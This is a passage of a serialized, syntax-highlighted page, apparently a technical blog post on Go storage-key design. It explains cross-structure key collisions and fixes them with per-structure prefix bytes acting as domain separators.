"tag":147,"props":91939,"children":91940},{"style":229},[91941],{"type":29,"value":91942}," PositionMapKey",{"type":24,"tag":147,"props":91944,"children":91945},{"style":235},[91946],{"type":29,"value":9088},{"type":24,"tag":147,"props":91948,"children":91949},{"class":149,"line":205},[91950,91954,91958],{"type":24,"tag":147,"props":91951,"children":91952},{"style":247},[91953],{"type":29,"value":90830},{"type":24,"tag":147,"props":91955,"children":91956},{"style":9044},[91957],{"type":29,"value":82005},{"type":24,"tag":147,"props":91959,"children":91960},{"style":235},[91961],{"type":29,"value":1549},{"type":24,"tag":147,"props":91963,"children":91964},{"class":149,"line":214},[91965,91969,91973,91977,91981,91985],{"type":24,"tag":147,"props":91966,"children":91967},{"style":247},[91968],{"type":29,"value":90842},{"type":24,"tag":147,"props":91970,"children":91971},{"style":235},[91972],{"type":29,"value":546},{"type":24,"tag":147,"props":91974,"children":91975},{"style":247},[91976],{"type":29,"value":91323},{"type":24,"tag":147,"props":91978,"children":91979},{"style":235},[91980],{"type":29,"value":81811},{"type":24,"tag":147,"props":91982,"children":91983},{"style":9044},[91984],{"type":29,"value":90348},{"type":24,"tag":147,"props":91986,"children":91987},{"style":235},[91988],{"type":29,"value":1549},{"type":24,"tag":147,"props":91990,"children":91991},{"class":149,"line":272},[91992,91996,92000,92004,92008],{"type":24,"tag":147,"props":91993,"children":91994},{"style":235},[91995],{"type":29,"value":81966},{"type":24,"tag":147,"props":91997,"children":91998},{"style":247},[91999],{"type":29,"value":77738},{"type":24,"tag":147,"props":92001,"children":92002},{"style":235},[92003],{"type":29,"value":81811},{"type":24,"tag":147,"props":92005,"children":92006},{"style":9044},[92007],{"type":29,"value":90348},{"type":24,"tag":147,"props":92009,"children":92010},{"style":235},[92011],{"type":29,"value":505},{"type":24,"tag":147,"props":92013,"children":92014},{"class":149,"line":281},[92015,92019,92023,92027],{"type":24,"tag":147,"props":92016,"children":92017},{"style":247},[92018],{"type":29,"value":91444},{"type":24,"tag":147,"props":92020,"children":92021},{"style":241},[92022],{"type":29,"value":82000},{"type":24,"tag":147,"props":92024,"children":92025},{"style":229},[92026],{"type":29,"value":91147},{"type":24,"tag":147,"props":92028,"children":92029},{"style":235},[92030],{"type":29,"value":9088},{"type":24,"tag":147,"props":92032,"children":92033},{"class":149,"line":299},[92034,92039,92043],{"type":24,"tag":147,"props":92035,"children":92036},{"style":235},[92037],{"type":29,"value":92038},"        []",{"type":24,"tag":147,"props":92040,"children":92041},{"style":9044},[92042],{"type":29,"value":90348},{"type":24,"tag":147,"props":92044,"children":92045},{"style":235},[92046],{"type":29,"value":1549},{"type":24,"tag":147,"props":92048,"children":92049},{"class":149,"line":308},[92050,92055,92059,92063,92067,92071,92075,92079],{"type":24,"tag":147,"props":92051,"children":92052},{"style":247},[92053],{"type":29,"value":92054},"        hex",{"type":24,"tag":147,"props":92056,"children":92057},{"style":235},[92058],{"type":29,"value":87},{"type":24,"tag":147,"props":92060,"children":92061},{"style":229},[92062],{"type":29,"value":91184},{"type":24,"tag":147,"props":92064,"children":92065},{"style":235},[92066],{"type":29,"value":480},{"type":24,"tag":147,"props":92068,"children":92069},{"style":229},[92070],{"type":29,"value":6227},{"type":24,"tag":147,"props":92072,"children":92073},{"style":235},[92074],{"type":29,"value":480},{"type":24,"tag":147,"props":92076,"children":92077},{"style":247},[92078],{"type":29,"value":91054},{"type":24,"tag":147,"props":92080,"children":92081},{"style":235},[92082],{"type":29,"value":91205},{"type":24,"tag":147,"props":92084,"children":92085},{"class":149,"line":317},[92086],{"type":24,"tag":147,"props":92087,"children":92088},{"style":235},[92089],{"type":29,"value":29520},{"type":24,"tag":147,"props":92091,"children":92092},{"class":149,"line":332},[92093,92097,92101,92105,92109,92113,92117,92121],{"type":24,"tag":147,"props":92094,"children":92095},{"style":247},[92096],{"type":29,"value":91175},{"type":24,"tag":147,"props":92098,"children":92099},{"style":235},[92100],{"type":29,"value":87},{"type":24,"tag":147,"props":92102,"children":92103},{"style":229},[92104],{"type":29,"value":91229},{"type":24,"tag":147,"props":92106,"children":92107},{"style":235},[92108],{"type":29,"value":480},{"type":24,"tag":147,"props":92110,"children":92111},{"style":247},[92112],{"type":29,"value":91138},{"type":24,"tag":147,"props":92114,"children":92115},{"style":235},[92116],{"type":29,"value":546},{"type":24,"tag":147,"props":92118,"children":92119},{"style":247},[92120],{"type":29,"value":91054},{"type":24,"tag":147,"props":92122,"children":92123},{"style":235},[92124],{"type":29,"value":269},{"type":24,"tag":147,"props":92126,"children":92127},{"class":149,"line":350},[92128],{"type":24,"tag":147,"props":92129,"children":92130},{"emptyLinePlaceholder":16},[92131],{"type":29,"value":314},{"type":24,"tag":147,"props":92133,"children":92134},{"class":149,"line":358},[92135,92140,92144,92148],{"type":24,"tag":147,"props":92136,"children":92137},{"style":247},[92138],{"type":29,"value":92139},"    positionNameEncoded",{"type":24,"tag":147,"props":92141,"children":92142},{"style":241},[92143],{"type":29,"value":82000},{"type":24,"tag":147,"props":92145,"children":92146},{"style":229},[92147],{"type":29,"value":91147},{"type":24,"tag":147,"props":92149,"children":92150},{"style":235},[92151],{"type":29,"value":9088},{"type":24,"tag":147,"props":92153,"children":92154},{"class":149,"line":397},[92155,92159,92163],{"type":24,"tag":147,"props":92156,"children":92157},{"style":235},[92158],{"type":29,"value":92038},{"type":24,"tag":147,"props":92160,"children":92161},{"style":9044},[92162],{"type":29,"value":90348},{"type":24,"tag":147,"props":92164,"children":92165},{"style":235},[92166],{"type":29,"value":1549},{"type":24,"tag":147,"props":92168,"children":92169},{"class":149,"line":421},[92170,92174,92178,92182,92186,92190,92194,92198],{"type":24,"tag":147,"props":92171,"children":92172},{"style":247},[92173],{"type":29,"value":92054},{"type":24,"tag":147,"props":92175,"children":92176},{"style":235},[92177],{"type":29,"value":87},{"type":24,"tag":147,"props":92179,"children":92180},{"style":229},[92181],{"type":29,"value":91184},{"type":24,"tag":147,"props":92183,"children":92184},{"style":235},[92185],{"type":29,"value":480},{"type":24,"tag":147,"props":92187,"children":92188},{"style":229},[92189],{"type":29,"value":6227},{"type":24,"tag":147,"props":92191,"children":92192},{"style":235},[92193],{"type":29,"value":480},{"type":24,"tag":147,"props":92195,"children":92196},{"style":247},[92197],{"type":29,"value":91323},{"type":24,"tag":147,"props":92199,"children":92200},{"style":235},[92201],{"type":29,"value":91205},{"type":24,"tag":147,"props":92203,"children":92204},{"class":149,"line":435},[92205],{"type":24,"tag":147,"props":92206,"children":92207},{"style":235},[92208],{"type":29,"value":29520},{"type":24,"tag":147,"props":92210,"children":92211},{"class":149,"line":444},[92212,92216,92220,92224,92228,92232,92236,92240],{"type":24,"tag":147,"props":92213,"children":92214},{"style":247},[92215],{"type":29,"value":91175},{"type":24,"tag":147,"props":92217,"children":92218},{"style":235},[92219],{"type":29,"value":87},{"type":24,"tag":147,"props":92221,"children":92222},{"style":229},[92223],{"type":29,"value":91229},{"type":24,"tag":147,"props":92225,"children":92226},{"style":235},[92227],{"type":29,"value":480},{"type":24,"tag":147,"props":92229,"children":92230},{"style":247},[92231],{"type":29,"value":91264},{"type":24,"tag":147,"props":92233,"children":92234},{"style":235},[92235],{"type":29,"value":546},{"type":24,"tag":147,"props":92237,"children":92238},{"style":247},[92239],{"type":29,"value":91323},{"type":24,"tag":147,"props":92241,"children":92242},{"style":235},[92243],{"type":29,"value":269},{"type":24,"tag":147,"props":92245,"children":92246},{"class":149,"line":452},[92247],{"type":24,"tag":147,"props":92248,"children":92249},{"emptyLinePlaceholder":16},[92250],{"type":29,"value":314},{"type":24,"tag":147,"props":92252,"children":92253},{"class":149,"line":461},[92254,92259,92263,92267,92271,92275],{"type":24,"tag":147,"props":92255,"children":92256},{"style":247},[92257],{"type":29,"value":92258},"    key",{"type":24,"tag":147,"props":92260,"children":92261},{"style":241},[92262],{"type":29,"value":82000},{"type":24,"tag":147,"props":92264,"children":92265},{"style":247},[92266],{"type":29,"value":87818},{"type":24,"tag":147,"props":92268,"children":92269},{"style":235},[92270],{"type":29,"value":87},{"type":24,"tag":147,"props":92272,"children":92273},{"style":229},[92274],{"type":29,"value":90806},{"type":24,"tag":147,"props":92276,"children":92277},{"style":235},[92278],{"type":29,"value":9088},{"type":24,"tag":147,"props":92280,"children":92281},{"class":149,"line":469},[92282,92287],{"type":24,"tag":147,"props":92283,"children":92284},{"style":3534},[92285],{"type":29,"value":92286},"        \"%d%s%s%s%s\"",{"type":24,"tag":147,"props":92288,"children":92289},{"style":235},[92290],{"type":29,"value":1549},{"type":24,"tag":147,"props":92292,"children":92293},{"class":149,"line":508},[92294,92299],{"type":24,"tag":147,"props":92295,"children":92296},{"style":247},[92297],{"type":29,"value":92298},"        vaultId",{"type":24,"tag":147,"props":92300,"children":92301},{"style":235},[92302],{"type":29,"value":1549},{"type":24,"tag":147,"props":92304,"children":92305},{"class":149,"line":572},[92306,92311],{"type":24,"tag":147,"props":92307,"children":92308},{"style":247},[92309],{"type":29,"value":92310},"        Seperator",{"type":24,"tag":147,"props":92312,"children":92313},{"style":235},[92314],{"type":29,"value":1549},{"type":24,"tag":147,"props":92316,"children":92317},{"class":149,"line":591},[92318,92323],{"type":24,"tag":147,"props":92319,"children":92320},{"style":247},[92321],{"type":29,"value":92322},"        usernameEncoded",{"type":24,"tag":147,"props":92324,"children":92325},{"style":235},[92326],{"type":29,"value":1549},{"type":24,"tag":147,"props":92328,"children":92329},{"class":149,"line":632},[92330,92334],{"type":24,"tag":147,"props":92331,"children":92332},{"style":247},[92333],{"type":29,"value":92310},{"type":24,"tag":147,"props":92335,"children":92336},{"style":235},[92337],{"type":29,"value":1549},{"type":24,"tag":147,"props":92339,"children":92340},{"class":149,"line":659},[92341,92346],{"type":24,"tag":147,"props":92342,"children":92343},{"style":247},[92344],{"type":29,"value":92345},"        positionNameEncoded",{"type":24,"tag":147,"props":92347,"children":92348},{"style":235},[92349],{"type":29,"value":1549},{"type":24,"tag":147,"props":92351,"children":92352},{"class":149,"line":684},[92353],{"type":24,"tag":147,"props":92354,"children":92355},{"style":235},[92356],{"type":29,"value":29520},{"type":24,"tag":147,"props":92358,"children":92359},{"class":149,"line":715},[92360],{"type":24,"tag":147,"props":92361,"children":92362},{"style":235},[92363],{"type":29,"value":827},{"type":24,"tag":147,"props":92365,"children":92366},{"class":149,"line":744},[92367],{"type":24,"tag":147,"props":92368,"children":92369},{"emptyLinePlaceholder":16},[92370],{"type":29,"value":314},{"type":24,"tag":147,"props":92372,"children":92373},{"class":149,"line":784},[92374],{"type":24,"tag":147,"props":92375,"children":92376},{"emptyLinePlaceholder":16},[92377],{"type":29,"value":314},{"type":24,"tag":147,"props":92379,"children":92380},{"class":149,"line":792},[92381,92385,92390],{"type":24,"tag":147,"props":92382,"children":92383},{"style":218},[92384],{"type":29,"value":81884},{"type":24,"tag":147,"props":92386,"children":92387},{"style":229},[92388],{"type":29,"value":92389}," AddressMapKey",{"type":24,"tag":147,"props":92391,"children":92392},{"style":235},[92393],{"type":29,"value":9088},{"type":24,"tag":147,"props":92395,"children":92396},{"class":149,"line":805},[92397,92401,92405],{"type":24,"tag":147,"props":92398,"children":92399},{"style":247},[92400],{"type":29,"value":90830},{"type":24,"tag":147,"props":92402,"children":92403},{"style":9044},[92404],{"type":29,"value":82005},{"type":24,"tag":147,"props":92406,"children":92407},{"style":235},[92408],{"type":29,"value":1549},{"type":24,"tag":147,"props":92410,"children":92411},{"class":149,"line":813},[92412,92416,92420,92425,92429],{"type":24,"tag":147,"props":92413,"children":92414},{"style":247},[92415],{"type":29,"value":90842},{"type":24,"tag":147,"props":92417,"children":92418},{"style":235},[92419],{"type":29,"value":546},{"type":24,"tag":147,"props":92421,"children":92422},{"style":247},[92423],{"type":29,"value":92424},"addressName",{"type":24,"tag":147,"props":92426,"children":92427},{"style":235},[92428],{"type":29,"value":81811},{"type":24,"tag":147,"props":92430,"children":92431},{"style":9044},[92432],{"type":29,"value":89811},{"type":24,"tag":147,"props":92434,"children":92435},{"class":149,"line":821},[92436,92440,92444,92448,92452],{"type":24,"tag":147,"props":92437,"children":92438},{"style":235},[92439],{"type":29,"value":81966},{"type":24,"tag":147,"props":92441,"children":92442},{"style":247},[92443],{"type":29,"value":77738},{"type":24,"tag":147,"props":92445,"children":92446},{"style":235},[92447],{"type":29,"value":81811},{"type":24,"tag":147,"props":92449,"children":92450},{"style":9044},[92451],{"type":29,"value":90348},{"type":24,"tag":147,"props":92453,"children":92454},{"style":235},[92455],{"type":29,"value":505},{"type":24,"tag":147,"props":92457,"children":92458},{"class":149,"line":1902},[92459,92463,92467,92471],{"type":24,"tag":147,"props":92460,"children":92461},{"style":247},[92462],{"type":29,"value":91444},{"type":24,"tag":147,"props":92464,"children":92465},{"style":241},[92466],{"type":29,"value":82000},{"type":24,"tag":147,"props":92468,"children":92469},{"style":229},[92470],{"type":29,"value":91147},{"type":24,"tag":147,"props":92472,"children":92473},{"style":235},[92474],{"type":29,"value":9088},{"type":24,"tag":147,"props":92476,"children":92477},{"class":149,"line":1920},[92478,92482,92486],{"type":24,"tag":147,"props":92479,"children":92480},{"style":235},[92481],{"type":29,"value":92038},{"type":24,"tag":147,"props":92483,"children":92484},{"style":9044},[92485],{"type":29,"value":90348},{"type":24,"tag":147,"props":92487,"children":92488},{"style":235},[92489],{"type":29,"value":1549},{"type":24,"tag":147,"props":92491,"children":92492},{"class":149,"line":1929},[92493,92497,92501,92505,92509,92513,92517,92521],{"type":24,"tag":147,"props":92494,"children":92495},{"style":247},[92496],{"type":29,"value":92054},{"type":24,"tag":147,"props":92498,"children":92499},{"style":235},[92500],{"type":29,"value":87},{"type":24,"tag":147,"props":92502,"children":92503},{"style":229},[92504],{"type":29,"value":91184},{"type":24,"tag":147,"props":92506,"children":92507},{"style":235},[92508],{"type":29,"value":480},{"type":24,"tag":147,"props":92510,"children":92511},{"style":229},[92512],{"type":29,"value":6227},{"type":24,"tag":147,"props":92514,"children":92515},{"style":235},[92516],{"type":29,"value":480},{"type":24,"tag":147,"props":92518,"children":92519},{"style":247},[92520],{"type":29,"value":91054},{"type":24,"tag":147,"props":92522,"children":92523},{"style":235},[92524],{"type":29,"value":91205},{"type":24,"tag":147,"props":92526,"children":92527},{"class":149,"line":1938},[92528],{"type":24,"tag":147,"props":92529,"children":92530},{"style":235},[92531],{"type":29,"value":29520},{"type":24,"tag":147,"props":92533,"children":92534},{"class":149,"line":1946},[92535,92539,92543,92547,92551,92555,92559,92563],{"type":24,"tag":147,"props":92536,"children":92537},{"style":247},[92538],{"type":29,"value":91175},{"type":24,"tag":147,"props":92540,"children":92541},{"style":235},[92542],{"type":29,"value":87},{"type":24,"tag":147,"props":92544,"children":92545},{"style":229},[92546],{"type":29,"value":91229},{"type":24,"tag":147,"props":92548,"children":92549},{"style":235},[92550],{"type":29,"value":480},{"type":24,"tag":147,"props":92552,"children":92553},{"style":247},[92554],{"type":29,"value":91138},{"type":24,"tag":147,"props":92556,"children":92557},{"style":235},[92558],{"type":29,"value":546},{"type":24,"tag":147,"props":92560,"children":92561},{"style":247},[92562],{"type":29,"value":91054},{"type":24,"tag":147,"props":92564,"children":92565},{"style":235},[92566],{"type":29,"value":269},{"type":24,"tag":147,"props":92568,"children":92569},{"class":149,"line":1955},[92570],{"type":24,"tag":147,"props":92571,"children":92572},{"emptyLinePlaceholder":16},[92573],{"type":29,"value":314},{"type":24,"tag":147,"props":92575,"children":92576},{"class":149,"line":29376},[92577,92582,92586,92590],{"type":24,"tag":147,"props":92578,"children":92579},{"style":247},[92580],{"type":29,"value":92581},"    addressNameEncoded",{"type":24,"tag":147,"props":92583,"children":92584},{"style":241},[92585],{"type":29,"value":82000},{"type":24,"tag":147,"props":92587,"children":92588},{"style":229},[92589],{"type":29,"value":91147},{"type":24,"tag":147,"props":92591,"children":92592},{"style":235},[92593],{"type":29,"value":9088},{"type":24,"tag":147,"props":92595,"children":92596},{"class":149,"line":29384},[92597,92601,92605],{"type":24,"tag":147,"props":92598,"children":92599},{"style":235},[92600],{"type":29,"value":92038},{"type":24,"tag":147,"props":92602,"children":92603},{"style":9044},[92604],{"type":29,"value":90348},{"type":24,"tag":147,"props":92606,"children":92607},{"style":235},[92608],{"type":29,"value":1549},{"type":24,"tag":147,"props":92610,"children":92611},{"class":149,"line":29421},[92612,92616,92620,92624,92628,92632,92636,92640],{"type":24,"tag":147,"props":92613,"children":92614},{"style":247},[92615],{"type":29,"value":92054},{"type":24,"tag":147,"props":92617,"children":92618},{"style":235},[92619],{"type":29,"value":87},{"type":24,"tag":147,"props":92621,"children":92622},{"style":229},[92623],{"type":29,"value":91184},{"type":24,"tag":147,"props":92625,"children":92626},{"style":235},[92627],{"type":29,"value":480},{"type":24,"tag":147,"props":92629,"children":92630},{"style":229},[92631],{"type":29,"value":6227},{"type":24,"tag":147,"props":92633,"children":92634},{"style":235},[92635],{"type":29,"value":480},{"type":24,"tag":147,"props":92637,"children":92638},{"style":247},[92639],{"type":29,"value":92424},{"type":24,"tag":147,"props":92641,"children":92642},{"style":235},[92643],{"type":29,"value":91205},{"type":24,"tag":147,"props":92645,"children":92646},{"class":149,"line":29434},[92647],{"type":24,"tag":147,"props":92648,"children":92649},{"style":235},[92650],{"type":29,"value":29520},{"type":24,"tag":147,"props":92652,"children":92653},{"class":149,"line":29447},[92654,92658,92662,92666,92670,92675,92679,92683],{"type":24,"tag":147,"props":92655,"children":92656},{"style":247},[92657],{"type":29,"value":91175},{"type":24,"tag":147,"props":92659,"children":92660},{"style":235},[92661],{"type":29,"value":87},{"type":24,"tag":147,"props":92663,"children":92664},{"style":229},[92665],{"type":29,"value":91229},{"type":24,"tag":147,"props":92667,"children":92668},{"style":235},[92669],{"type":29,"value":480},{"type":24,"tag":147,"props":92671,"children":92672},{"style":247},[92673],{"type":29,"value":92674},"addressNameEncoded",{"type":24,"tag":147,"props":92676,"children":92677},{"style":235},[92678],{"type":29,"value":546},{"type":24,"tag":147,"props":92680,"children":92681},{"style":247},[92682],{"type":29,"value":92424},{"type":24,"tag":147,"props":92684,"children":92685},{"style":235},[92686],{"type":29,"value":269},{"type":24,"tag":147,"props":92688,"children":92689},{"class":149,"line":29460},[92690],{"type":24,"tag":147,"props":92691,"children":92692},{"emptyLinePlaceholder":16},[92693],{"type":29,"value":314},{"type":24,"tag":147,"props":92695,"children":92696},{"class":149,"line":29514},[92697,92701,92705,92709,92713,92717],{"type":24,"tag":147,"props":92698,"children":92699},{"style":247},[92700],{"type":29,"value":92258},{"type":24,"tag":147,"props":92702,"children":92703},{"style":241},[92704],{"type":29,"value":82000},{"type":24,"tag":147,"props":92706,"children":92707},{"style":247},[92708],{"type":29,"value":87818},{"type":24,"tag":147,"props":92710,"children":92711},{"style":235},[92712],{"type":29,"value":87},{"type":24,"tag":147,"props":92714,"children":92715},{"style":229},[92716],{"type":29,"value":90806},{"type":24,"tag":147,"props":92718,"children":92719},{"style":235},[92720],{"type":29,"value":9088},{"type":24,"tag":147,"props":92722,"children":92723},{"class":149,"line":29523},[92724,92728],{"type":24,"tag":147,"props":92725,"children":92726},{"style":3534},[92727],{"type":29,"value":92286},{"type":24,"tag":147,"props":92729,"children":92730},{"style":235},[92731],{"type":29,"value":1549},{"type":24,"tag":147,"props":92733,"children":92734},{"class":149,"line":37881},[92735,92739],{"type":24,"tag":147,"props":92736,"children":92737},{"style":247},[92738],{"type":29,"value":92298},{"type":24,"tag":147,"props":92740,"children":92741},{"style":235},[92742],{"type":29,"value":1549},{"type":24,"tag":147,"props":92744,"children":92745},{"class":149,"line":37902},[92746,92750],{"type":24,"tag":147,"props":92747,"children":92748},{"style":247},[92749],{"type":29,"value":92310},{"type":24,"tag":147,"props":92751,"children":92752},{"style":235},[92753],{"type":29,"value":1549},{"type":24,"tag":147,"props":92755,"children":92756},{"class":149,"line":86535},[92757,92761],{"type":24,"tag":147,"props":92758,"children":92759},{"style":247},[92760],{"type":29,"value":92322},{"type":24,"tag":147,"props":92762,"children":92763},{"style":235},[92764],{"type":29,"value":1549},{"type":24,"tag":147,"props":92766,"children":92767},{"class":149,"line":86548},[92768,92772],{"type":24,"tag":147,"props":92769,"children":92770},{"style":247},[92771],{"type":29,"value":92310},{"type":24,"tag":147,"props":92773,"children":92774},{"style":235},[92775],{"type":29,"value":1549},{"type":24,"tag":147,"props":92777,"children":92778},{"class":149,"line":86556},[92779,92784],{"type":24,"tag":147,"props":92780,"children":92781},{"style":247},[92782],{"type":29,"value":92783},"        addressNameEncoded",{"type":24,"tag":147,"props":92785,"children":92786},{"style":235},[92787],{"type":29,"value":1549},{"type":24,"tag":147,"props":92789,"children":92790},{"class":149,"line":86564},[92791],{"type":24,"tag":147,"props":92792,"children":92793},{"style":235},[92794],{"type":29,"value":29520},{"type":24,"tag":147,"props":92796,"children":92797},{"class":149,"line":86572},[92798],{"type":24,"tag":147,"props":92799,"children":92800},{"style":235},[92801],{"type":29,"value":827},{"type":24,"tag":25,"props":92803,"children":92804},{},[92805,92807,92812],{"type":29,"value":92806},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":80,"props":92808,"children":92810},{"className":92809},[],[92811],{"type":29,"value":90560},{"type":29,"value":92813},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":137,"props":92815,"children":92817},{"code":92816},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[92818],{"type":24,"tag":80,"props":92819,"children":92820},{"__ignoreMap":7},[92821],{"type":29,"value":92816},{"type":24,"tag":25,"props":92823,"children":92824},{},[92825],{"type":29,"value":92826},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":137,"props":92828,"children":92830},{"code":92829,"language":81748,"meta":7,"className":81749,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[92831],{"type":24,"tag":80,"props":92832,"children":92833},{"__ignoreMap":7},[92834,92845,92860,92887,92912,92919,92926,92933,92948,92963,92990,93013,93032,93047,93082,93089,93124,93131,93150,93165,93200,93207,93242,93249,93276,93288,93300,93311,93322,93333,93344,93355,93362,93369,93376,93383,93398,93413,93440,93463,93482,93497,93532,93539,93574,93581,93600,93615,93650,93657,93692,93699,93726,93737,93749,93760,93771,93782,93793,93804,93812],{"type":24,"tag":147,"props":92835,"children":92836},{"class":149,"line":150},[92837,92841],{"type":24,"tag":147,"props":92838,"children":92839},{"style":218},[92840],{"type":29,"value":15276},{"type":24,"tag":147,"props":92842,"children":92843},{"style":235},[92844],{"type":29,"value":84150},{"type":24,"tag":147,"props":92846,"children":92847},{"class":149,"line":160},[92848,92852,92856],{"type":24,"tag":147,"props":92849,"children":92850},{"style":247},[92851],{"type":29,"value":90914},{"type":24,"tag":147,"props":92853,"children":92854},{"style":241},[92855],{"type":29,"value":651},{"type":24,"tag":147,"props":92857,"children":92858},{"style":3534},[92859],{"type":29,"value":90923},{"type":24,"tag":147,"props":92861,"children":92862},{"class":149,"line":169},[92863,92868,92872,92877,92882],{"type":24,"tag":147,"props":92864,"children":92865},{"style":247},[92866],{"type":29,"value":92867},"    PositionMapPrefix",{"type":24,"tag":147,"props":92869,"children":92870},{"style":241},[92871],{"type":29,"value":651},{"type":24,"tag":147,"props":92873,"children":92874},{"style":3534},[92875],{"type":29,"value":92876}," \"",{"type":24,"tag":147,"props":92878,"children":92879},{"style":53972},[92880],{"type":29,"value":92881},"\\x01",{"type":24,"tag":147,"props":92883,"children":92884},{"style":3534},[92885],{"type":29,"value":92886},"\"\n",{"type":24,"tag":147,"props":92888,"children":92889},{"class":149,"line":178},[92890,92895,92899,92903,92908],{"type":24,"tag":147,"props":92891,"children":92892},{"style":247},[92893],{"type":29,"value":92894},"    AddressMapPrefix",{"type":24,"tag":147,"props":92896,"children":92897},{"style":241},[92898],{"type":29,"value":651},{"type":24,"tag":147,"props":92900,"children":92901},{"style":3534},[92902],{"type":29,"value":92876},{"type":24,"tag":147,"props":92904,"children":92905},{"style":53972},[92906],{"type":29,"value":92907},"\\x02",{"type":24,"tag":147,"props":92909,"children":92910},{"style":3534},[92911],{"type":29,"value":92886},{"type":24,"tag":147,"props":92913,"children":92914},{"class":149,"line":187},[92915],{"type":24,"tag":147,"props":92916,"children":92917},{"style":235},[92918],{"type":29,"value":269},{"type":24,"tag":147,"props":92920,"children":92921},{"class":149,"line":196},[92922],{"type":24,"tag":147,"props":92923,"children":92924},{"emptyLinePlaceholder":16},[92925],{"type":29,"value":314},{"type":24,"tag":147,"props":92927,"children":92928},{"class":149,"line":205},[92929],{"type":24,"tag":147,"props":92930,"children":92931},{"emptyLinePlaceholder":16},[92932],{"type":29,"value":314},{"type":24,"tag":147,"props":92934,"children":92935},{"class":149,"line":214},[92936,92940,92944],{"type":24,"tag":147,"props":92937,"children":92938},{"style":218},[92939],{"type":29,"value":81884},{"type":24,"tag":147,"props":92941,"children":92942},{"style":229},[92943],{"type":29,"value":91942},{"type":24,"tag":147,"props":92945,"children":92946},{"style":235},[92947],{"type":29,"value":9088},{"type":24,"tag":147,"props":92949,"children":92950},{"class":149,"line":272},[92951,92955,92959],{"type":24,"tag":147,"props":92952,"children":92953},{"style":247},[92954],{"type":29,"value":90830},{"type":24,"tag":147,"props":92956,"children":92957},{"style":9044},[92958],{"type":29,"value":82005},{"type":24,"tag":147,"props":92960,"children":92961},{"style":235},[92962],{"type":29,"value":1549},{"type":24,"tag":147,"props":92964,"children":92965},{"class":149,"line":281},[92966,92970,92974,92978,92982,92986],{"type":24,"tag":147,"props":92967,"children":92968},{"style":247},[92969],{"type":29,"value":90842},{"type":24,"tag":147,"props":92971,"children":92972},{"style":235},[92973],{"type":29,"value":546},{"type":24,"tag":147,"props":92975,"children":92976},{"style":247},[92977],{"type":29,"value":91323},{"type":24,"tag":147,"props":92979,"children":92980},{"style":235},[92981],{"type":29,"value":81811},{"type":24,"tag":147,"props":92983,"children":92984},{"style":9044},[92985],{"type":29,"value":90348},{"type":24,"tag":147,"props":92987,"children":92988},{"style":235},[92989],{"type":29,"value":1549},{"type":24,"tag":147,"props":92991,"children":92992},{"class":149,"line":299},[92993,92997,93001,93005,93009],{"type":24,"tag":147,"props":92994,"children":92995},{"style":235},[92996],{"type":29,"value":81966},{"type":24,"tag":147,"props":92998,"children":92999},{"style":247},[93000],{"type":29,"value":77738},{"type":24,"tag":147,"props":93002,"children":93003},{"style":235},[93004],{"type":29,"value":81811},{"type":24,"tag":147,"props":93006,"children":93007},{"style":9044},[93008],{"type":29,"value":90348},{"type":24,"tag":147,"props":93010,"children":93011},{"style":235},[93012],{"type":29,"value":505},{"type":24,"tag":147,"props":93014,"children":93015},{"class":149,"line":308},[93016,93020,93024,93028],{"type":24,"tag":147,"props":93017,"children":93018},{"style":247},[93019],{"type":29,"value":91444},{"type":24,"tag":147,"props":93021,"children":93022},{"style":241},[93023],{"type":29,"value":82000},{"type":24,"tag":147,"props":93025,"children":93026},{"style":229},[93027],{"type":29,"value":91147},{"type":24,"tag":147,"props":93029,"children":93030},{"style":235},[93031],{"type":29,"value":9088},{"type":24,"tag":147,"props":93033,"children":93034},{"class":149,"line":317},[93035,93039,93043],{"type":24,"tag":147,"props":93036,"children":93037},{"style":235},[93038],{"type":29,"value":92038},{"type":24,"tag":147,"props":93040,"children":93041},{"style":9044},[93042],{"type":29,"value":90348},{"type":24,"tag":147,"props":93044,"children":93045},{"style":235},[93046],{"type":29,"value":1549},{"type":24,"tag":147,"props":93048,"children":93049},{"class":149,"line":332},[93050,93054,93058,93062,93066,93070,93074,93078],{"type":24,"tag":147,"props":93051,"children":93052},{"style":247},[93053],{"type":29,"value":92054},{"type":24,"tag":147,"props":93055,"children":93056},{"style":235},[93057],{"type":29,"value":87},{"type":24,"tag":147,"props":93059,"children":93060},{"style":229},[93061],{"type":29,"value":91184},{"type":24,"tag":147,"props":93063,"children":93064},{"style":235},[93065],{"type":29,"value":480},{"type":24,"tag":147,"props":93067,"children":93068},{"style":229},[93069],{"type":29,"value":6227},{"type":24,"tag":147,"props":93071,"children":93072},{"style":235},[93073],{"type":29,"value":480},{"type":24,"tag":147,"props":93075,"children":93076},{"style":247},[93077],{"type":29,"value":91054},{"type":24,"tag":147,"props":93079,"children":93080},{"style":235},[93081],{"type":29,"value":91205},{"type":24,"tag":147,"props":93083,"children":93084},{"class":149,"line":350},[93085],{"type":24,"tag":147,"props":93086,"children":93087},{"style":235},[93088],{"type":29,"value":